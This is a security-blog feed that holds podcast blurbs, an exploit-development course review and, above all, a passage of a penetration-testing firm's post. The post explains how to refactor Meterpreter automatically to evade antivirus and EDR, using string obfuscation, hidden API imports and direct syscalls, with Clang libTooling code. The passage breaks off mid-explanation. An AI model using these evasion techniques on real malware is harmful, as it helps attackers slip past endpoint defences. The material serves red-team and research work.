At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Cyber threat intelligence: Learn to become a cybersecurity tactician | Guest Charles DeBeck

By: Infosec
29 June 2020 at 07:00

Take a deep dive into the world of cyber threat intelligence with today's guest, Charles DeBeck of IBM’s X-Force Incident Response and Intelligence Services. Threat intelligence is all about research and storytelling, combining hands-on know-how with analytical thinking skills to make a true cybersecurity tactician! You’re not just preparing for the battle in front of you, but for the waves of attacks you’ll see in the future. 

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Charles DeBeck is a Strategic Cyber Threat Expert for IBM’s X-Force Incident Response and Intelligence Services. He’s had a connected passel of job titles that encompasses risk management, risk analysis and vulnerability assessment, all of which have helped him in his current position.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

My Journey into eCXD – eLearnSecurity Certified eXploit Developer

25 June 2020 at 12:10

Exploit Developer Student – XDS Course Review

I first want to thank eLearnSecurity for creating such a course on this topic of exploit development. I have always been a big fan of the Windows operating system. For the past few years, I have spent a lot of time on Windows reverse engineering, Windows internals and exploit development on Windows. However, the thing I liked the most about this course is about the diversity they have with both Windows and Linux both x86 and x86_64. I spent quite a good amount of time on learning Linux exploit development and internals and I totally loved to understand those concepts no matter how hard they were to grasp. It is a feeling I cannot explain ?

I will share my thoughts on each section.

Linux Exploit Development

Module 1: Linux Stack Smashing

As usual, this is the introductory module where you will get a nice understanding of Linux internals and basics of stack-based buffer overflows and identifying them.

The labs included for this module are:

  • Hidden Function
  • Linux Basic Stack Overflow
  • Linux x64 Basic Stack Overflow

Module 2: Linux Exploit Countermeasures & Bypasses

This section was an intense module on bypassing Linux exploitation mitigation techniques. The following were covered in-depth with examples. I believe this was the largest module in this section. I’ve learned a lot of internals, theory and new things in this module in the world of *nix.

  • NX
  • ASLR
  • Stack Cookies
  • RELRO
  • PIE
  • RPATH

Module 3: Linux Return Oriented Programming

This module explains the concepts of Return Oriented Programming (ROP) and how to utilize this technique to bypass anti-exploit mechanisms. I would recommend to first study Module 2 related to anti-exploit mechanisms and then move on to this module and do the labs. As you need theory from both of these modules for the labs.

The labs included for these 2 modules are:

  • Linux NX Bypass (ret2libc)
  • Overcome ret2libc Limitations
  • Linux x64 ASLR Bypass
  • Linux x64 Stack Canary, NX & ASLR Bypass
  • Linux x64 NX Bypass (ret2libc + ROP)

Module 4: Linux Shellcoding

This module explains about developing Linux shellcode and concepts such as Egghunters to detect the shellcode in memory when there’s lack of space in the stack. A full walkthrough of 32-bit reverse TCP shellcode is explained with socket internals. Furthermore, developing 64-bit shellcode on Linux is explained.

The lab included for this module is:

  • Linux Shellcoding

Module 5: Linux Advanced Exploitation

To come to this module, make sure you study all the previous module well. This module explains in-depth about exploiting format string vulnerabilities and how it could be abused to bypassing anti-exploit mechanisms. Also covers bypassing hardened systems. This module has some intense labs and it was very challenging to understand the exploitation process. I loved this module a lot as these types of vulnerabilities can be abused to bypass modern anti-exploit mechanisms and are still being reported in the real world in commercial applications.

  • Linux NX & ASLR Bypass (Format String Exploitation + ROP)
  • Strict Firewall Bypass (Format String Exploitation + Socket Reuse Shellcode)

Windows Exploit Development

Module 1: Windows Stack Smashing

This module explains the basics of exploiting stack-based buffer overflows in Windows systems. You will learn different tools to automated certain tasks and internals.

The labs included for this module are:

  • Windows Basic Stack Overflow

Module 2: Windows SEH-based Overflows

This module explains about abusing software which utilized the Structured Exception Handling mechanism under Windows systems. The labs will provide you more understanding practically how it works under a debugger.

The labs included for this module are:

  • Windows SEH Overflow (MP3 Studio)
  • Windows SEH Overflow (EasyChat)

Module 4: Unicode Buffer Overflows

This module explains the process of creating venetian shellcode and utilizing it in Unicode Buffer Overflow exploits. This technique is useful if the application changes user input in case of translation.

Module 5: Windows Shellcoding

This module explains the art of shellcoding in Windows. It also goes in-depth on developing position independent shellcode on Windows. This module also includes a socket reuse shellcode and about backdooring PE files

The labs included for this module are:

  • Windows Shellcoding

Module 6: Windows Return Oriented Programming

This module explains the Return Oriented Programming (ROP) theory on Windows. This module was also intense as it dives deep into manual ROP chaining. I really loved this module as I learned a lot about developing my own manual ROP chains.

The labs included for this module are:

  • Windows ROP (Scenario 1)
  • Windows ROP (Scenario 2)

Fuzzing Windows Software

This was another lab exercise on explaining the usage of the SPIKE fuzzer.

The Exam

The exam was challenging. It was of 3 days and another 2 days were provided for the report. Since there were 3 days I did not have that much stress. There were 5 challenges in total for both Windows and Linux environments x86 and x86_64. There are no multiple-choice questions and it’s a full practical exam. You are supposed to develop a proof-of-concept for each challenge and document down your process, tools used, etc. Everything is well taught in the course and if you study the materials and do the labs your passing chances are high.

The following knowledge domains will be assessed in the exam.

  • Windows and Linux internals
  • Reverse engineering (x86 and x64 platforms)
  • Software debugging
  • Shellcoding
  • Windows and Linux exploit development (including scripting knowledge)
  • Bypassing modern anti-exploit mechanisms (ASLR/PIE, Stack Cookie, NX/DEP, RELRO etc.)
  • Exploiting hardened hosts and overcoming limitations

A huge thanks to ?ukasz Miku?a for creating this course and for assessing my exam report. Special thanks to Dimitrios Bougioukas from eLearnSecurity 🙂

More information about the XDS Course: https://www.elearnsecurity.com/course/exploit_development_student/

Offensive or defensive security: Which career is for you? | Guest Fabien Dombard

By: Infosec
22 June 2020 at 07:00

When it comes to your career, should you go red team, blue team or both? Today's guest is QuoLab Technologies Co-Founder Fabien Dombard, who's had roles ranging from penetration tester to malware incident responder to company founder. Fabien shares share thoughts on the skills, disposition and training needed in both defensive and offensive security roles, as well as tips on why you shouldn't be "networking," you should be "making new friends for the future."

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

With over a decade of experience working in several diverse positions, as well as experiencing firsthand the evolution of security practices and technologies found around the world today, Fabien Dombard has been an integral part in building his new company, QuoLab Technologies, a developer of a collaborative and threat-driven Security Operations Platform (SOP). Prior to QuoLab, Fabien began working in small shop penetration testing roles in several European nations, and his renowned expertise and work ethic eventually led to him heading the Malware Incident Response Team for Deutsche Bank — one of the largest financial institutions in the world. He then founded QuoScient, located in Frankfurt, Germany, with the aim to reconcile humans and machines in the context of security operations, incident response and threat intelligence, and it is actually where QuoLab spun out from. Fabien is committed in his professional endeavors to reconcile human creativity and intuition with the complexity of information technology in the context of security operations. It was precisely this passion that drew him to conceptualize QuoLab and is what brings focus to him and his team moving forward.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Engineering antivirus evasion

By: plowsec
19 June 2020 at 08:54

tl;dr: this blog post documents some aspects of our research on antivirus software and how we managed to automatically refactor Meterpreter to bypass every AV/EDR we were put up against. While the ideas for every technique and the implementation of the string obfuscation pass are detailed below, we decided to publish details on API imports hiding / syscalls rewriting in future blog posts to keep this one as short as possible. The source code is available at https://github.com/scrt/avcleaner


Among the defensive measures a company can implement to protect its information systems against attacks, security software such as antivirus or EDR often come up as an essential toolset to have. While it used to be rather easy to circumvent any kind of malware detection mechanism in the past years, doing so nowadays certainly involves more effort.

On the other hand, communicating about the risks associated with a vulnerability is really challenging in case the Proof-of-Concept to exploit it is itself blocked by an antivirus. While one can claim that it is always theoretically possible to bypass the detection [1] and leave it at that, actually doing it may add some strength to the argument.

In addition, there are vulnerabilities that can only be discovered with an existing foothold on a system. For example, in the case where a pentester is not able to get that initial level of access, the audit’s result would not accurately depict the actual security level of the systems in scope.

In view of that, there is a need to be able to circumvent antivirus software. To complicate things, at SCRT we rely on publicly available, open-source tools whenever possible, to emphasise that our work is reproducible by anyone skilled enough to use them, and does not depend on private, expensive tools.

Problem statement

The community likes to categorise the detection mechanisms of any antivirus as being “static” or “dynamic”. Generally, if detection is triggered before the malware’s execution, it is seen as a kind of static detection.
However, it is worth knowing that a static detection mechanism such as signatures can be invoked during the malware’s execution in reaction to events such as process creations, in-memory file downloads, and so on.
In any case, if we want to use the good old Meterpreter against any kind of security software, we must modify it in such a way that it fulfills the following requirements:

  • Bypass any static signature, whether during a filesystem scan or a memory scan.
  • Bypass “behavioural detection” which, more often than not, relates to evading userland API hooking.

However, Meterpreter comprises several modules, and the whole codebase amounts to around 700’000 lines of code. In addition, it is constantly updated, which means running a private fork of the project is sure to scale very poorly.

In short, we need a way to transform the codebase automatically.

Solutions

After years of experience bypassing antivirus software, if there is any kind of insight that we could share with the community, it would be that a malware detection is almost always trivially based on strings, API hooks, or a combination of both.

Even for the products that implement machine learning classifiers such as Cylance, a malware that does not have strings, API imports and hookable API calls is sure to go through the net like a soccer ball through Sergio Rico’s defence.

Meterpreter has thousands of strings, API imports are not hidden in any way and sensitive APIs such as “WriteProcessMemory” can be intercepted easily with a userland API hook. So, we need to remedy that in an automated fashion, which yields two potential solutions:

  • Source-to-source code refactoring
  • LLVM passes to obfuscate the code base at compilation time.

The latter would be the preferred approach, and many popular researches reached the same conclusion [2]. The main reason is that a transformation pass can be written once and reused independently of the software’s programming language or target architecture.

Image from: http://www.aosabook.org/en/llvm.html

However, doing so requires the ability to compile Meterpreter with a compiler other than Visual Studio. While we have published some work to change that in December 2018, adoption in the official codebase is still an ongoing process more than a year later.

In the meantime, we have decided to implement the first approach out of spite. After a thorough review of the state-of-the-art of source code refactoring, libTooling (part of the Clang/LLVM toolchain) appeared to be the only viable candidate to parse C/C++ source code and modify it.

Note: since the codebase is strongly Visual Studio dependent, Clang will fail to parse a large part of Metepreter. However, it was still possible to bypass the target antivirus with that half-success. And here we probably have the only advantage of source-to-source transformation over compile-time transformation: the latter requires the whole project to compile without any errors. The former is resilient to thousands of compilation errors; you just end up with an incomplete Abstract Syntax Tree, which is perfectly fine.

LLVM passes vs libTooling

String obfuscation

In C/C++, a string may be located in many different contexts. libTooling is not really pleasurable to toy with, so we have applied Pareto’s Law and limited ourselves to those that cover the most suspicious string occurrences within Meterpreter’s codebase:

  • Function arguments
  • List initializers

Function arguments

For instance, we know for a fact that ESET Nod32 will flag the string “ntdll” as being suspicious in the following context:

ntdll = LoadLibrary(TEXT("ntdll"))

However, rewriting this code snippet in the following manner successfully bypasses the detection:

wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)

Behind the scenes, the first snippet will cause the string “ntdll” to be stored inside the .rdata section of the resulting binary, and can be easily spotted by the antivirus. The second snippet will cause the string to be stored on the stack at runtime, and is statically indistinguishable from code, at least in the general case. IDA Pro or alternatives are often able to recognise the string, but they also run more advanced and computationally intensive analyses on the binary.

List initializers

In Meterpreter’s codebase, this kind of construct can be found in several files, for instance in c/meterpreter/source/extensions/extapi/extapi.c:

Command customCommands[] =
{
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
...
}

Those strings will be stored in clear-text in the .rdata section of ext_server_espia.x64.dll and picked up by ESET Nod32 for instance.

To make things worse, those strings are parameters to a macro, located in a list initialiser. This introduces a bunch of tricky corner cases that are not obvious to overcome. The goal is to rewrite this snippet automatically as follows:

char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};

Command customCommands[] =
{

    COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
    COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
    COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
    COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
    COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
    COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
    COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
    COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
    COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
    COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
    COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
    COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
    COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
    COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
    COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
    COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
    COMMAND_TERMINATOR
};

Hiding API Imports

Calling functions exported by external libraries causes the linker to write an entry into the Import Address Table (IAT). As a result, the function name will appear as clear-text within the binary, and thus can be recovered statically without even executing the malware. Of course, there are function names that are more suspicious than others. It would be wise to hide all the suspicious ones and keep the ones that are present in the majority of legitimate binaries.
For instance, in the kiwi extension of Metepreter, one can find the following line:

enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

This function is exported by samlib.dll, so the linker will cause the strings “samlib.dll” and “SamEnumerateUsersInDomain” to appear in the compiled binary.

To solve this issue, it is possible to import the API at runtime using LoadLibrary / GetProcAddresss. Of course, both these functions work with strings, so they must be obfuscated as well. Thus, we would like to automatically rewrite the above snippet as follows:

typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
    SAMPR_HANDLE DomainHandle,
    PDWORD EnumerationContext,
    DWORD UserAccountControl,
    PSAMPR_RID_ENUMERATION* Buffer,
    DWORD PreferedMaximumLength,
    PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

Rewriting syscalls

By default, using the migrate command of Meterpreter on a machine where Cylance is running triggers the antivirus detection (for now, just take our word for it). Cylance detects the process injection with a userland hook. To get around the detection, one can remove the hook, which seems to be the trending approach nowadays, or simply avoid it altogether. We found it simpler to read ntdll, recover the syscall number and insert it in a ready-to-call shellcode, which effectively gets around any antivirus’ userland’s hooks. To date, we have yet to find a Blue-Team that identifies NTDLL.DLL being read from disk as being “suspicious”.

Implementation

All the aforementioned ideas can be implemented in a source code refactoring tool based on libTooling. This section documents the way we did it, which is a compromise between time available and patience with the lack of libTooling documentation. So, there is room for improvements, and in case something looks off to you, it probably is and we would love to hear about it.

Abstract Syntax Tree 101

A compiler typically comprises several components, the most common ones being a Parser and a Lexer. When source code is fed to the compiler, it first generates a Parse Tree out of the original source code (what the programmer wrote), and then adds semantic information to the nodes (what the compiler truly needs). The result of this step is called an Abstract Syntax Tree. Wikipedia showcases the following example:

while b ≠ 0
  if a > b
    a := a − b
  else
    b := b − a
return a

A typical AST for this small program would look like this:

Example of an Abstract Syntax Tree (https://en.wikipedia.org/wiki/Abstract_syntax_tree)

This data structure allows for more precise algorithms when it comes to writing programs that understand properties of other programs, so it seems like a good choice to perform large scale code refactoring.

Clang’s Abstract Syntax Tree

Since we need to modify source code The Right WayTM, we will need to get acquainted with Clang‘s AST. The good news is that Clang exposes a command-line switch to dump the AST with pretty colours. The bad news is that for everything but toy projects, setting the correct compiler flags is… tricky.

For now, let us have a realistic yet simple enough test translation unit:

#include <windows.h>

typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);

int main(void)
{
    f_NtMapViewOfSection lNtMapViewOfSection;
    HMODULE ntdll;

    if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
    {
        return -1;
    }

    lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
    return 0;
}

Then, punch-in the following script into a .sh file (don’t ask how we came up with all those compiler flags, you will bring back painful memories):

WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"

clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fdebug-compilation-dir"\
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

Notice that WIN_INCLUDE points to a folder containing all the required headers to interact with the Win32 API. These were taken as-is from a standard Windows 10 install, and to save you some headaches, we recommend that you do the same instead of opting for MinGW’s ones. Then, call the script with the test C file as argument. While this produces a 18MB file, it is easy enough to navigate to the interesting part of the AST by searching for one of the string literals we defined, for instance “NtMapViewOfSection“:

Now that we have a way to visualise the AST, it is much simpler to understand how we will have to update the nodes to achieve our result, without introducing any syntax errors in the resulting source code. The subsequent sections contain the implementation details related to AST manipulation with libTooling.

ClangTool boilerplate

Unsurprisingly, there is some required boilerplate code before getting into the interesting stuff, so punch-in the following code into main.cpp:

#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"

// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"

#include "Consumer.h"
#include "MatchHandler.h"

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>

namespace ClSetup {
    llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}

namespace StringEncryptor {

    clang::Rewriter ASTRewriter;
    class Action : public clang::ASTFrontendAction {

    public:
        using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;

        ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
                                             llvm::StringRef Filename) override {

            ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
            std::vector<ASTConsumer*> consumers;

            consumers.push_back(&StringConsumer);
  
            // several passes can be combined together by adding them to `consumers`
            auto TheConsumer = llvm::make_unique<Consumer>();
            TheConsumer->consumers = consumers;
            return TheConsumer;
        }

        bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
            llvm::outs() << "Processing file " << '\n';
            return true;
        }

        void EndSourceFileAction() override {

            clang::SourceManager &SM = ASTRewriter.getSourceMgr();

            std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
            llvm::errs() << "** EndSourceFileAction for: " << FileName << "\n";

            // Now emit the rewritten buffer.
            llvm::errs() << "Here is the edited source file :\n\n";
            std::string TypeS;
            llvm::raw_string_ostream s(TypeS);
            auto FileID = SM.getMainFileID();
            auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);

            if(ReWriteBuffer != nullptr)
                ReWriteBuffer->write((s));
            else{
                llvm::errs() << "File was not modified\n";
                return;
            }

            std::string result = s.str();
            std::ofstream fo(FileName);
       
            if(fo.is_open())
                fo << result;
            else
                llvm::errs() << "[!] Error saving result to " << FileName << "\n";
        }
    };
}

auto main(int argc, const char *argv[]) -> int {

    using namespace clang::tooling;
    using namespace ClSetup;

    CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
    ClangTool Tool(OptionsParser.getCompilations(),
                   OptionsParser.getSourcePathList());

    auto Action = newFrontendActionFactory<StringEncryptor::Action>();
    return Tool.run(Action.get());
}

Since that boilerplate code is taken from examples in the official documentation, there is no need to describe it further. In fact, the only modification worth mentioning is inside CreateASTConsumer. Our end game is to run several tranformation passes on the same translation unit. It can be done by adding items to the consumers collection (the essential line is consumers.push_back(&...);).

String obfuscation

This section describes the most important implementation details regarding the string obfuscation pass, which comprises three steps:

  • Locate string literals in the source code.
  • Replace them with variables
  • Insert a variable definition / assignment at the appropriate location (enclosing function or global context).

Locating string literals in source code

StringConsumer can be defined as follows (at the beginning of the StringEncryptor namespace):

class StringEncryptionConsumer : public clang::ASTConsumer {
public:

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        using namespace clang::ast_matchers;
        using namespace StringEncryptor;

        llvm::outs() << "[StringEncryption] Registering ASTMatcher...\n";
        MatchFinder Finder;
        MatchHandler Handler(&ASTRewriter);

        const auto Matcher = stringLiteral().bind("decl");

        Finder.addMatcher(Matcher, &Handler);
        Finder.matchAST(Context);
    }
};

StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();

Given a translation unit, we can tell Clang to find a pattern inside the AST, as well as register a “handler” to be called whenever a match is found. The pattern matching exposed by Clang’s ASTMatcher is quite powerful, and yet underused here, since we only resort to it to locate string literals.

Then, we can get to the heart of the matter by implementing a MatchHandler, which will provide us with a MatchResult instance. A MatchResult contains a reference to the AST node identified, as well as priceless context information.

Let us implement the class definition and inherit some good stuff from clang::ast_matchers::MatchFinder::MatchCallback:

#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H

#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"

class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {

public:
    using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;

    MatchHandler(clang::Rewriter *rewriter);
    void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.

};

#endif //AVCLEANER_MATCHHANDLER_H

In MatchHandler.cpp, we will have to implement MatchHandler’s constructor and the run callback function. The constructor is pretty simple, since it is only needed to store the clang::Rewriter‘s instance for later use:

using namespace clang;

MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
    this->ASTRewriter = rewriter;
}

run is implemented as follows:

void MatchHandler::run(const MatchResult &Result) {
    const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
    clang::SourceManager &SM = ASTRewriter->getSourceMgr();

    // skip strings in included headers
    if (!SM.isInMainFile(Decl->getBeginLoc()))
        return;

    // strings that comprise less than 5 characters are not worth the effort
    if (!Decl->getBytes().str().size() > 4) {
        return;
    }

    climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}

From the excerpt shown above, there are three elements worth mentioning:

  • We extract the AST node that was matched by the pattern defined in StringEncryptionConsumer. To do that, one can call the function getNodeAs, which expects a string as argument that relates to the identifier the pattern was bound to (see the line const auto Matcher = stringLiteral().bind("decl"))
  • We skip strings that are not defined in the translation unit under analysis. Indeed, our pass intervenes after Clang‘s preprocessor, which will actually copy-paste included system headers into the translation unit.
  • Then, we are ready to process the string literal. Since we need to know about the context where this string literal was found, we pass the extracted node to a user-defined function, (climbParentsIgnoreCast in this case, for the lack of a better name), along Result.Context, which contains a reference to the enclosing AST. The goal is to visit the tree upwards until an interesting node is found. In this case, we are interested in a node of type CallExpr.
bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
                                     clang::ASTContext *const pContext, uint64_t iterations) {

    ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);

    if (iterations > 0) {
        parents = pContext->getParents(node);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("Cast") != std::string::npos) {

            return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
        }

        handleStringInContext(&NodeString, pContext, parent);
    }

    return false;
}

In a nutshell, this function recursively looks up the parent nodes of a StringLiteral node, until it finds one that should be interesting (i.e. not a “cast”). handleStringInContext is also straight-forward:

